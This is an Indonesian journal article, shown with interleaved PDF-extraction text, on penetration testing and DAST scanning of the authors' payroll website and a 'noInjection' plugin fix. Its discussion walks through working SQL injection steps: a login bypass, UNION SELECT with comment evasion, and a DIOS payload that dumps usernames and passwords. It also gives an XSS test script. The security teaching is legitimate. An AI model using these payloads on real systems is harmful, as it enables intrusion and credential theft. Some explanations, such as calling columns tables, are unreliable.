Location via proxy:   [ UP ]  
[Report a bug]   [Manage cookies]                

2546 10997 1 PB

Download as pdf or txt
Download as pdf or txt
You are on page 1of 7

Media Jurnal Informatika

p-issn : 2088-2114
Vol. 14, no.2, Desember 2022
e-issn : 2477-2542
http://jurnal.unsur.ac.id/mjinformatika

Pengembangan Keamanan Website Menggunakan Teknik Penetration


Testing dan Dynamic Application Security Testing
(Studi Kasus System Penggajian Pegawai di CV PabrikOnline Global Solusindo)

Essa Jaka Abdillah1, Rif’atul Khoriyah2, Ahmad Nabih Abqariy3, Purnomo Hadi Susilo4
Universitas Islam Lamongan1,3,4, UIN Sunan Ampel Surabaya2
ezzajaka@gmail.com1, rifatulkhoriyah28@gmail.com2, ahmadnabihabqariy@gmail.com3,
hadyjelak.purnomo@gmail.com4

Abstract
This article aims to develop a website security system, using Penetration Testing and DAST (Dynamic
Application Security Testing) techniques. Solutions to minimize hacking. the author created the noInjection plugin
using the test material for the db.essajaka.web.id website. This article was written using the quantitative method by
formulating the background, formulating the problem, determining the theoretical basis, formulating hypotheses, and
collecting data. The steps taken by the author are through Scope (determining the scope), Reconnaissance (collecting
information about the web), Vulnerability Detaction (searching for target security holes), Information Analysis and
Planning (testing planning), Penetration Testing (attacks on targets based on analysis and planning) , Security System
Development. The primary data sources in this article are several books and journals that are relevant to the theme.
The results of this research are website security with the DAST (Dynamic Application Security Testing) technique on
the db.essajaka.web.id website, there are two loopholes, namely Cross Side Scripting, and Sql Injection in Penetration
testing which uses the Sql Injection technique through entering a character ( ') in the id in the last url and will get an
error in the database query which can be seen in the browser application. Evaluation that can be done is to add the
noInjection plugin to the website application.

Keywords: Cross Side Scripting, Penetration Testing and DAST, Sql Injection, Website Security.

Abstrak
Artikel ini bertujuan untuk melakukan pengembangan sistem keamanan website, dengan menggunakan
Teknik Penetration Testing dan DAST (Dynamic Application Security Testing). Solusi dalam meminimalisir
peretasan. penulis menciptakan plugin noInjection dengan bahan uji coba website db.essajaka.web.id. Artikel ini
ditulis dengan menggunakan metode kuantitatif dengan merumuskan latar belakang, membuat rumusan masalah,
menentukan landasan teori, merumuskan hipotesis, dan melakukan pengumpulan data. Langkah yang dilakukan
penulis yaitu melalui Scope (menentukan ruang lingkup), Reconnaissance (pengumpulan informasi tentang web),
Vulnerability Detaction (pencarian celah keamanan target), Information Analysis and Planning (perencanaan
pengujian), Penetration Testing (serangan terhadap target berdasarkan analisis dan perencanaan), Pengembangan
System Keamanan. Sumber data primer dalam artikel ini adalah beberapa buku, dan jurnal yang relevan dengan
tema. Hasil dari penilitian ini adalah keamanan website dengan teknik DAST (Dynamic Application Security Testing)
di website db.essajaka.web.id terdapat dua celah,yaitu Cross Side Scripting, dan Sql Injection dalam Penetration
testing yang menggunakan teknik Sql Injection melalui masuknya sebuah karakter (‘) pada id yang ada di url terakhir
dan akan mendapatkan maslaah (error) pada query database yang dapat dilihat di aplikasi browser. Evaluasi yang
dapat dilakukan adalah dengan menambahkan plugin noInjection pada aplikasi website.

Kata kunci: Cross Side Scripting, Keamanan Website, Penetration Testing dan DAST, , Sql Injection

112
MJI Vol.14, No.2, Desember 2022, hlm. 112-118

sebagai contoh hacker Bernama Dani Firmansyah mampu


I. PENDAHULUAN menjebol situs yang digunakan KPU. Bermula dari mencoba
Dalam perkembangan Teknologi Informasi yang sangat meretas dengan melakukan XSS (Cross Site Scripting), yaitu
pesat, dapat menyebabkan cara pandang manusia tentang memasukan kode berbahaya pada website KPU. Percobaan
perubahan pada pola pikir terkait hal-hal yang berhubungan pertama gagal, Xnuxer pun mencoba teknik yang lain yaitu
dengan kehidupan sehari-hari[1]. Berkembangnya SQL Injection. Serangan Xnuxer ini berhasil dan
teknologi saat ini terus mengalami perubahan, sehingga memungkinkannya melakukan SQL Injection (manipulasi
disebut sebagai revolusi 5.0. apalagi teknologi dengan kueri SQL). [3] Akibatnya, hacker asal Jogja ini bisa
jenis komputer yang tidak hanya berfungsi sebagai memodifikasi halaman web dan mengubah informasi pada
pengolah data, namun telah menjadi hal yang digandrungi situs KPU. Nama partai, misalnya, berubah menjadi Partai Si
setiap generasi, kalangan tua muda berlomba-lomba dalam Yoyo, Partai Kolor Ijo, Partai Diperbaiki dulu pak
mengoperasikan komputer untuk kepentingan persaingan websitenya, dan sebagainya. Bahkan, yang tak kalah
dibidang usaha untuk berlomba-lomba menjadi yang menarik, Xnuxer juga ingin berniat mengubah hasil
terbaik. perolehan suara namun gagal. Setelah insiden ini, situs KPU
ini juga beberapa kali masih kena hack. Apabila hal ini
Kemudahan semakin mudah didapatkan, karena
dibiarkan tentu kericuhan akan terjadi jika situs resmi
teknologi menjadi kebutuhan penting dalam kehidupan,
pemerintah terus menerus dapat dimanipulasi oleh hacker
hamper disgala aktivitas yang dilakukan manusia
sehingga dapat menyebarkan informasi yang tidak kredibel
memanfaatkan teknologi untuk sarana mengembangkan
di masyarakat tentu akan sangat berbahaya bagi penikmat
diri, ataupun untuk mempermudah pekerjaannya. Dalam
informasi actual.
membantu mempermudah pekerjaan teknologi dapat
Dengan demikian maka peneliti mencoba untuk
bersifat sederhana dan bersifat kompleks.[2] Sehingga
melakukan penelitian tentang bagaimana cara pembuatan
manusia memerlukan security atau keamanan untuk
website db.essajaka.web.id yang menggunakan framework
menjaga system komputernya. Sedangkan kebutuhan pada
Codeigniter versi 3. Db.essajaka.web.id yang akan dibuat
keamanan pada setiap system computer tentu memiliki
adalah website penggajian pegawai di CV PabrikOnline
system keamanan yang berbeda sesuai dengan aplikasi
Global Solusindo yang notabenenya website ini digunakan
yang digunakannya. Misalnya dalam sebuah system
khusus karyawan CV tersebut tanpa orang lain bisa
akademik tentu berbeda dengan sistemyang ada pada
mengaksesnya. Hal tersebut menjadi pengujian celah
perusahaan.
keamanan yang akan diuji cobakan. Sehingga website
Desas desus fenomena pada dunia computer tentu tidak
db.essajaka.web.id akan dijadikan alat atau media dalam
asing untuk didengar, khususny pada jaringan internet
menemukan celah keamanan pada aplikasi berbasis website
ketika menghadapi serangan ransomeware, trojan, Dos,
dengan menggabungkan metode penetration testing dan
Web Deface, pembajakan software, dan kasus yang cukup
DAST serta bagaimana cara kita mengembangkan sistem
fatal adalah pencurian kartu kredit yang tentu akan
keamanan dengan menggunakan plugin noinjection apabila
membawa dampak negative bagi pengguna internet. Seperti
terlihat celah didalamnya.
yang telah dikutip oleh tribunnews pada Jum’at 21
September 2018 menyatakan bahwa data yang diperoleh
dari International Data Corporation (IDC), sebagian besar
perusahaan yang berada pada kawasan ASEAN justru lebih II. METODE PENELITIAN
focus pada system keamanan operasional dasar, belum Metode penelitian yang digunakan dalam penelitian
dikategorikan pada level pengelolaan yang sempurna dan ini ialah metode kuantitatif dengan merumuskan latar
optimal, Sekitar 69,4% perusahaan di kawasan ASEAN belakang, membuat rumusan masalah, menentukan landasan
termasuk Indonesia masih tahap adhoc, dan 0,2% teori, merumuskan hipotesis, dan melakukan pengumpulan
perusahaan sudah mencapai tahap optimized, padahal data[4]. Sumber data primer dalam artikel ini adalah beberapa
serangan terhadap keamanan Sistem Informasi (SI) buku, dan jurnal yang relevan dengan tema. Metode
semakin berkembang dan merambah semakin cepat. peneletian ini merupakan deskriptif,[1] guna untuk
Ancaman yang terjadi sepanjang 2018 berasal dari empat mendeskripsikan keamanan website dengan menggunakan
hal, mulai dari Malware, Supply chain attack, hingga teknik penetration testing dan DAST (Dynamic Application
Ransomware. “Mendekati 40% dari perusahaan global Security Testing). Langkah penelitian yang digunakan
menilai Teknik mendeteksi lanjutan (advanced detection melalui Scope (menentukan ruang lingkup), Reconnaissance
technique) sebagai cara paling efektif untuk mendeteksi (pengumpulan informasi tentang web), Vulnerability
ancaman keamanan cyber”, menurut Munindra, Senior Detaction (pencarian celah keamanan target), Information
Research Manager for Consulting and Head of Operations Analysis and Planning (perencanaan pengujian), Penetration
at International data Corporation (IDC) Indonesia, di acara Testing (serangan terhadap target berdasarkan analisis dan
“Enabling Security in Digital Transformation Journey” perencanaan), Pengembangan System Keamanan.
yang diadakan oleh Telkomtelstra berkolaborasi dengan
IDC, di Jakarta, Rabu 19 September 2018. [3] III. HASIL PENELITIAN
Pada tahun 2004 momen pertama kalinya Indonesia
mengadakan pemilu merupakan bukti kejahatan cyber yang Akuisisi Pengetahuan (Knowledge) merupakan
paling popular di Indonesia. Situs KPU yang senilai 152 proses ekstraksi, strukturisasi, dan mengorganisasikan
miliar dianggap tidak mampu di hack, sehingga Tim IT pengetahuan dari satu sumber atau lebih[6]. Proses ini
Komisi Pemilihan Umum menggunakan situs tersebut.
Akan tetapi hal itu justru berbalik, pernyataan yang
demikian justru membuat hacker semakin tertantang
113
DOI : 10.35194/mji.v14i2.2546

merupakan suatu proses yang penting, namun seringkali


menjadi “bottleneck” yang membatasi pengembangan
sistem pakar dan sistem AI yang lain.
Metode yang digunakan dalam proses akuisisi ini
adalah metode otomatis[7]. Dalam hal ini, knowledge
didapatkan dari dari database pembelian yang menjadi
tolak ukur dalam akuisisi pengetahuan ini. Berikut
merupakan ilustrasi dari proses akuisisi pengetahuan
dengan metode otomatis :
Cara melakukan pengembangan keamanan website
menggunakan plugin noInjection agar dapat mengatasi
celah yang terlihat dan sukses dalam proses penetration
test pada website db.essajaka.web.id yang meliputi
celah keamanan Sql Injection dan Cross Side Scripting
(XSS) dengan cara sebagai berikut:
1. Login ke hosting/cPanel copy dan pastekan file Gambar 3. Tampilan file manager di cPanel
noinjection_helper.php ini ke
3. Setelah itu bisa mencoba kembali Sql Injection bypass
folder application/helpers/ yang berisikan source
Admin kemudian dilakukan perubahan pada source
code code program dengan memasukkan query ( 'or 1=1 -- )
pada halaman login admin
Jika setelah login dan terdeteksi password salah
maka plugin noInjection berjalan dengan normal,
kemudian jalankan pengujian dengan mengetikkan
karakter (‘) di belakang angka 1 untuk melihat apakah
ada kesalahan pada basis data. Setelah dievaluasi dan
menambahkan karakter (‘) ke url, akan melihat
tampilan yang menyatakan bahwa tidak ada kesalahan
dalam basis data.
4. Selanjutnya melakukan uji XSS dilakukan dengan
Gambar 1. Tampilan penambahan plugin di cPanel mencoba memasukan informasi pada form edit profile
user <script>alert('TESTED BUG XSS')</script>
5. Selanjutnya pada Gambar 9, setelah berhasil mengisi
informasi, periksa di basis data untuk melihat apakah
fungsi yang dibuat dalam kode sumber PHP sudah
berjalan.
Ini adalah hasil di basis data setelah dievaluasi,
masukan script telah berhasil diubah menjadi karakter.
Kemudian masuk ke sistem dan pastikan sistem
terlindungi dari XSS.

Gambar 2. Source Code Plugin noInjection

2. Pastikan helper noInjection diload sebelum ada


$_POST & $_GET yang dieksekusi sama sekali Gambar 4. Tampilan alert XSS tidak berjalan
desesuaikan dengan ditemukannya celah keamanan,
masuk pada folder application/controllers karena Gambar 4 adalah tampilan sistem informasi setelah
celah keamanan terdapat pada file App.php edit pada mengevaluasi dan menambahkan plugin noInjection di
file App.php tuliskan code load berikut ini : $this- dalam aplikasi situs web.
>load->helper('noInjection'); lalu di simpan.

114
MJI Vol.14, No.2, Desember 2022, hlm. 112-118

IV. PEMBAHASAN https://localhost:13443/#/ di browser [7].


4. Information Analysis & Planning
Pada Pembahasan kali ini peneliti memberikan Hasil dari vulnerability detection manampilkan
solusi pada masing-masing penetrasi yang merupakan celah keamanan pada website db.essajaka.web.id.
teknik untuk menemukan celah keamanan website Pada proses Information Analysis & Planning akan
yaitu dengan menggunakan Plugin noInjection. mengambil celah keamanan yang digunakan
Dalam menemukan kerentanan keamanan pada sebagai bahan penetration.[8].
situs web dapat dilakukan melalui berbagai proses yang Uji celah keamanan dengan DAST (Dynamic
meliputi: pelingkupan (scope), pengintaian Application Security) ditemukan celah keamanan SQL
(reconnaissance), deteksi kerentanan (vulnerability Injection dan XSS pada saat melakukan scanning di
detection), analisis dan perencanaan informasi Aplikasi Acunetix 9 dan 12[3]. Sehingga dapat
(information analysis & planning), dan pengujian disimpulkan bahwa jenis kerentanan yang ditemukan
penetrasi (penetration testing). Proses deteksi adalah SQL Injection dan XSS.
kerentanan mencakup teknik Dynamic Application No Jenis Kerentanan
Security Testing (DAST) yang menggunakan aplikasi
seperti Acunetix untuk mendeteksi kerentanan 1 SQL Injection
keamanan di situs web. Pengujian penetrasi dan metode
2 XSS
DAST digabungkan saat melakukan penetrasi di situs
web db.essajaka.web.id [5].
1. Scope Tabel 1. Tabel celah keamanan yang dipilih
Dalam melakukan penetration test, pertama kali Alasan memakai dua kerentanan di atas karena ini
adalah menentukan scope maka dilakukan proses adalah daftar kerentanan keamanan yang disebutkan oleh
penetration test. Dalam penelitian ini memilih Scope Owasp dari 10 kerentanan situs web. Injeksi SQL adalah
website db.essajaka.web.id yang dapat digunakan teknik yang mengeksploitasi kerentanan yang terjadi di
sebagai objek pengujian penetration test. Gambaran lapisan basis data suatu aplikasi. Efeknya adalah penyerang
singkat, tentang website db.esssajaka.web.id adalah dapat melihat, memasukkan, mengedit, dan menghapus
sebuah situs web yang menyediakan layanan untuk basis data. Oleh karena itu, jika penyerang dapat
pegawai ingin mengetahui slip gaji di Perusahaan memasukkan masukan korban, hal itu dapat mempengaruhi
[6]. Dan semua diproses melalui admin, admin tersebut eksekusi program secara keseluruhan.
bertindak sebagai supervisor dalam perusahaan situs
web yang akan diteliti. Cross-Side Scripting (XSS) adalah jenis serangan
2. Reconnaissance injeksi kode pada input formulir situsweb. Kode sumber
Setelah menetapkan cakupan uji penetrasi, dalam file html atau php dijalankan terus menerus.
kemudian Langkah yang harus ditempuh adalah Misalnya, pengguna memasukkan "[dihapus]
pengintaian (reconnaissance), di mana peringatan(bug yang diuji XSS") [9] dan masukan muncul
mengumpulkan informasi sebanyak-banyaknya dari di posisi tengah file php, skrip akan dieksekusi terlebih
situs web db.essajaka.web.id dan menggunakan tools dahulu dan akan melihat peringatan berisi XSS. Jika skrip
Wappalyzer untuk menampilkan informasi di situs melakukan fungsi pengalihan, skrip akan mengarahkan
web. Wappalyzer adalah alat plugin yang pengguna lainnya ke halaman formulir korban yang dibuat
digabungkan ke halaman Chrome atau Mozilla untuk oleh penyerang yang ditujukan bagi pengguna untuk
memantau teknologi yang dibuat oleh situs web dan memasukkan informasi yang diberikan oleh formulir
termasuk hasil dari Wappalyzer dengan korban sehingga penyerang dapat memperoleh informasi
menyampaikan berita bahwa teknologi yang dipakai dari pengguna. [7]
oleh db.essajaka.web.id meliputi jQuery versi 2.2.0
dan Bootstrap. Setelah informasi itu didapat,
kemudian melakukan pencarian informasi apakah Penetration Testing
masih terdapat celah Cross Side Scripting (XSS) atau Penetration testing yang dilakukan pada website
tidak. Hasil dari pencarian yang dilakukan dari db.essajaka.web.id memanfaatkan celah keamanan. Hasil
website https://snyk.io/test/npm/jquery/2.2.0 pengujiannya adalah sebagai berikut:
didapatkan jQuery versi 2.2.0, celah keamanan dari 1. SQL Injection
Cross Side Scripting berstatus medium, artinya ada SQL Injection merupakan teknik yang
celah untuk dilakukan penetration test dari serangan mengeksploitasi kerentanan di lapisan basis data suatu
Cross Side Scripting [6]. aplikasi. Ancaman injeksi Sql ini dapat terjadi karena
3. Vulnerability Detection masukan yang tidak disaring dengan benar selama
Selama fase identifikasi kerentanan yang pembuatan, menciptakan celah yang dapat dieksploitasi.
berjalan di db.essajaka.web.id menggunakan alat Injeksi SQL dilakukan dengan memodifikasi perintah
Acunetix, adalah aplikasi yang digunakan sebagai SQL di formulir masukan aplikasi, memungkinkan
alat pengujian keamanan aplikasi web untuk penyerang mengirim sintaks ke basis data aplikasi. [8] Hal
mendeteksi kerentanan seperti injeksi SQL, Cross ini memungkinkan penyerang untuk melihat data yang
Side Scripting, dan rentan lainnya. Uji coba tidak perlu mereka lihat, seperti data yang dimiliki oleh
Acunetix versi 12 dapat digunakan selama fase pengguna lain atau data lain yang dapat diakses oleh
identifikasi kerentanan db.essajaka.web.id dan aplikasi itu sendiri. Dalam beberapa kasus, pelaku dapat
aplikasi ini berbasis web. Setelah menjalankan mengubah atau menghapus data dan melakukan
aplikasi ini, Anda dapat mengetik
115
DOI : 10.35194/mji.v14i2.2546

perubahan pada konten atau aplikasi. mencoba menambahkan karakter (‘) setelah angka 1,
Ketika dilakukan penetration test terhadap celah sql querynya memberikan kesalahan dan ditampilkan di
Injection melalui cara manual seperti Bypass Admin browser. [8] Jika kesalahan seperti itu terjadi, itu tidak
login menggunakan Query tertentu serta dump isi dari akan ditampilkan kepada pengguna. Ini karena ketika
database yang sedang digunakan oleh aplikasi tersebut terjadi kesalahan dalam query basis data dan ditampilkan
berikut ini adalah demonstrasi cara seseorang attacker di browser, pengguna akan dapat melihat salah satu nama
melakukan bypass admin. tabel. Dapat dilihat bahwa nama tabel karyawan yang
A. Melakukan pencarian target login admin yang digunakan untuk data pemagang yang tersimpan di basis
terdapat celah bypass admin dengan SQL Injection data sistem informasi db.essajaka.web.id.
2. Selanjutnya adalah mencari jumlah tabel yang ada dalam
database dengan menggunakan query order by , contoh
https://db.essajaka.web.id/app/tampilprofil?id=1%27+or
der+by+18--+, maka web akan normal kembali.
3. Lanjutkan dengan mengganti angka 1 menjadi 2/3/4/5/6
dan seterusnya sampai muncul pesan error lagi. Nah
disitu terjadi error di angka 19, logikanya ketika
melakukan perintah order by 1,2,3 dan seterusnya sampai
18 tidak terjadi error dan di nomor 19 terjadi error, itu
artinya jumlah tabel yang ada didalam database tidak
sampai 19, lalu jumlah tabelnya yaitu 18 karena
Gambar 5. Tampilan login Admin berisikan merupakan angka terakhir yang tidak error.
Query Bypass Admin 4. Berikutnya mencari angka Ajaibnya, gunakan
Di saat berada di halaman login admin isikan perintah UNION SELECT, contohnya
username: 'or 1=1 -- dan password: 'or 1=1 -- https://db.essajaka.web.id/app/tampilprofil?id=1%27+an
Selanjutnya adalah mencari jumlah tabel yang ada dalam d+0+/*!12345union*/+select+1,2,3,4,5,6,7,8,9,10,11,12,
database dengan menggunakan query order by contoh 13,14,15,16,17,1 8--+ , untuk angkanya sesuaikan jumlah
https://db.essajaka.web.id/app/tampilprofil?id=1%27+orde tabelnya yang ditemukan[7].
r+by+18--+, maka web akan normal Kembali. 5. Maka akan keluar angka seperti gambar sebelumnya
Kemudian klik login apabila berhasil akan di terdapat angka 2,5,3,6,7,8,9,10,13 yang keluar, berarti
arahkan ke menu dashboard admin dan bisa bisa lakukan injeksi di angka tersebut, bisa pilih angka
mengakses seluruh isi website tanpa perlu mengetahui salah satu saja dan ganti angka yang dipilih misalnya
username dan password asli dari website angka 5 diganti dengan perintah
db.essajaka.web.id. concat(database(),version()), untuk mengetahui database
dan versi yang digunakan, contohnya
https://db.essajaka.web.id/app/tampilprofil?id=1%27+an
d+0+/*!12345union*/+select+1,2,3,4,concat(database(),
version()),6,7,8,9, 10,11,12,13,14,15,16,17,18--+ bisa
melakukan cek informasi lain
menggunakan fungsi berikut ini[6]:
• Tampilkan Nama User database
• @@hostname — menampilkan Hostname
• @@tmpdir — menampilkan
Direktori temp
• @@datadir — menampilkan
Direktori data
• @@basedir — menampilkan
Gambar 6. Tampilan Dashboard admin
Direktori base
ketika berhasil login menggunakan Query
• database() — menampilkan Nama Database
Bypass Admin
• schema() — menampilkan Database yang
Masukan yang disimpan ke dalam basis data semestinya dipakai
menyertakan username dan password. Tidak masalah • session_user() — menampilkan Session User
karena ada tanda “ 'or 1=1 -- ” di mana artinya setiap 6. Selanjutnya untuk melakukan dump table pada database
masukan akan selalu dianggap true. Karena 1=1 adalah alias gunakan query DIOS (Dump InOne Shot),
untuk true dan or merupakan kondisi jika ada salah 1 atau make_set(6,@:=0x0a,(select(1)from(information_schem
lebih dari 2 atau lebih masukan true maka otentikasi akan a./**/columns)where@:=make_set(511,@,0x3c6c693e,
dianggap true oleh sistem. Juga, formulir kata sandi hanya 0x5b20,table_schema,0x205d2d2d3e20,table_name,0x3
dianggap sebagai sintaks komentar dalam SQL setelah a3a,column_name)),@). Contohnya :
karakter “– ”, sehingga dapat memasukkannya sesuka hati. https://db.essajaka.web.id/app/tampilprofil?id=1%27
Selain itu Sql injection juga bisa digunakan untuk meng +and+0+/*!12345union*/+select+1,2,3,4,make_set(
Xploitasi database yang ada di aplikasi tersebut[10]. 6,@:=0x0a,(select(1)from(information_schema./**/c
1. Penetration test akan menggunakan url olumns)where@:=make_set(511,@,0x3c6c693e,0x
https://db.essajaka.web.id/app/tampilprofil?id=1, ketika 5b20,table_schema,0x205d2d2d3e20,table_name,0x3
116
MJI Vol.14, No.2, Desember 2022, hlm. 112-118

a3a,column_name)),@),6,7,8,9,10,11,12,1 inputan <script>alert(‘TESTED BUG XSS’)</script>


3,14,15,16,17,18--+ pada tampilan website menampilkan alert yang
7. Disini sudah terlihat semua tabel dan kolom di dalam bertuliskan TESTED BUG XSS. Evaluasi yang
database nya , lalu yang jadi target seorang penyerang dilakukan adalah sebelum ke database berupa script alert
biasanya username dan password atau data identitas yang dirubah ke karakter biasa, sehingga source code
lainya selanjutnya akan dicontohkan dump data pada website tidak membaca inputan script alert.
username dan password yang ada ditabel penggua Dalam Penetration testing yang menggunakan Teknik
caranya cukup edit query dios yang sebelumnya Sql Injection dengan memasukan sebuah karakter (‘) di
dibagian information_schema diganti dengan nama akhir url yang ber id dan akan didapatkan error pada
database, columns diganti dengan nama table query database yang dapat dilihat di aplikasi browser.
table_schema, table_name, column_name diganti Evaluasi yang dapat dilakukan adalah dengan
dengan kolom contoh nya seperti ini : menambahkan plugin noInjection pada aplikasi website.
https://db.essajaka.web.id/app/tampilprofil?
id=1%27+and+0+/*!12345union*/+select+
1,2,3,4,make_set(6,@:=0x0a,(select(1)from UCAPAN TERIMA KASIH
(essajakaweb_gaji./**/user)where@:=make_set(511, Ucapan terimakasih kepada semua teman dan instansi
@,0x3c6c693e,0x5b20,id_user,0x yang turut membantu dalam penyelesaian penelitian yang
205d2d2d3e20,username,0x3a3a,password)),@),6,7,8,9 telah dilakukan khususnya Litbang Pemas KKN Universitas
,10,11,12,13,14,15,16,17,18--+ Islam Lamongan.

2. XSS
XSS adalah jenis serangan injeksi kode. XSS dijalankan VI. REFERENSI
oleh penyerang yang menyuntikkan HTML atau kode skrip
klien lainnya ke dalam situs web. Serangan ini seakan-akan
berasal dari situs web tersebut. Dikarenakan terdapat [1] R. Khoriyah and A. Muhid, “Inovasi Teknologi
gencatan, gencatan virus dapat melewati keamanan sisi Pembelajaran dengan Menggunakan Aplikasi
klien, dan diperoleh informasi negative dan sensitive, atau Wordwall Website pada Mata Pelajaran PAI di Masa
menyimpan aplikasi berbahaya. Pengujian penetrasi Penerapan Pembelajaran Jarak Jauh: Tinjauan
dilakukan dengan memasukkan informasi ke dalam formulir Pustaka,” Tarb. Wa Ta’lim J. Penelit. Pendidik. dan
edit profil pengguna yang disediakan oleh situs web Pembelajaran, pp. 192–205, 2022.
db.essajaka.web.id. Formulir yang dipilih dengan url [2] H. Haqqi and H. Wijayati, Revolusi industri 4.0 di
https://db.essajaka.web.id/app/profiluser/1. berisikan form tengah society 5.0: sebuah integrasi ruang,
untuk edit profile user yang akan mendaftarkan magang di terobosan teknologi, dan transformasi kehidupan di
Perusahaan. [8] era disruptif. Anak Hebat Indonesia, 2019.
a. Pengujian penetration test yang dilakukan dengan [3] B. Wicaksono, “Pengujian Celah Keamanan Aplikasi
memasukan source code javascript, yaitu Berbasis WEB Menggunakan Teknik Penetrion
<script>alert('TESTED BUG XSS')</script> di Testing dan DAST (Dynamic Application Security
salah satu form yang sudah disediakan. Testing),” Molecules, vol. 2, no. 1, pp. 1–12, 2020.
b. Jika terlihat tidak berpengaruh setelah menyimpan ke [4] N. Fadhillah, R. Khoriyah, and M. Muhlishotin,
halaman tersebut, karena admin dapat melihat basis “Efektivitas Model Crossword Puzzle untuk
data dan masuk ke dashboard admin. Langkah pertama Meningkatkan Motivasi Belajar Siswa Pada Mata
adalah mengecek terlebih dahulu hasil inputan di basis Pelajaran Al-Qur’an Hadist,” JIIP - J. Ilm. Ilmu
data, dari hasil edit data profil pengguna informasi Pendidik., vol. 5, no. 7, pp. 2542–2546, 2022, doi:
yang tersimpan di basis data dan input script. 10.54371/jiip.v5i7.698.
c. Kemudian langkah yang di lakukan selanjutnya [5] P. Engebretson, “The basics of hacking and
kembali ke menu profile untuk melihat hasil edit data penetration testing: Ethical hacking and penetration
yang masuk dan mengarahkan ke url testing made easy.[Books24x7 version] Retrieved
https://db.essajaka.web.id/app/tampilprofil?id=1 dan March 26, 2013.” 2011.
sistem berhasil terserang pada celah keamanan Cross [6] M. Muhsin and A. Fajaryanto, “Penerapan Pengujian
Side Scripting (XSS). Keamanan Web Server Menggunakan Metode
OWASP versi 4 (Studi Kasus Web Server Ujian
V. KESIMPULAN Online),” Multitek Indones., vol. 9, no. 1, pp. 31–42,
2016.
Dalam uji keamanan website dengan teknik DAST [7] H. Pranata, L. A. Abdillah, and U. Ependi, “Analisis
(Dynamic Application Security Testing). di website Keamanan Protokol Secure Socket Layer (SSL)
db.essajaka.web.id yang diserang serangan teknik Cross Terhadap Proses Sniffing di Jaringan,” arXiv Prepr.
Side Scripting, dan Sql Injection, pada website dapat arXiv1508.05457, 2015.
dibuktikan. Sehingga bisa dilakukan proses evaluasi [8] M. A. Z. Risky and Y. Yuhandri, “Optimalisasi dalam
untuk melakukan pengembangan keamanan website dari Penetrasi Testing Keamanan Website Menggunakan
ke dua celah keamanan tersebut. Teknik SQL Injection dan XSS,” J. Sistim Inf. dan
Dalam Penetration testing yang menggukanakn Teknol., vol. 3, pp. 215–220, 2021, doi:
teknik Cross Side Scripting didapatkan bahwa di 10.37034/jsisfotek.v3i4.68.
website db.essajaka.web.id setelah memasukan script [9] Y. Mulyanto, M. Taufan Asri Zaen, and S. Sihab,
117
DOI : 10.35194/mji.v14i2.2546

“Analisis Keamanan Website SMA Negeri 2


Sumbawa Besar Menggunakan Metode Penetration
Testing (Pentest),” J. Inf. Syst. Res., vol. 4, no. 1, pp.
202–209, 2022, doi: 10.47065/josh.v4i1.2335.
[10] B. V. Tarigan, A. Kusyanti, and W. Yahya,
“Analisis Perbandingan Penetration Testing Tool
Untuk Aplikasi Web,” J. Pengemb. Teknol. Inf. dan
Ilmu Komput., vol. 1, no. 3, pp. 206–214, 2017.

118

You might also like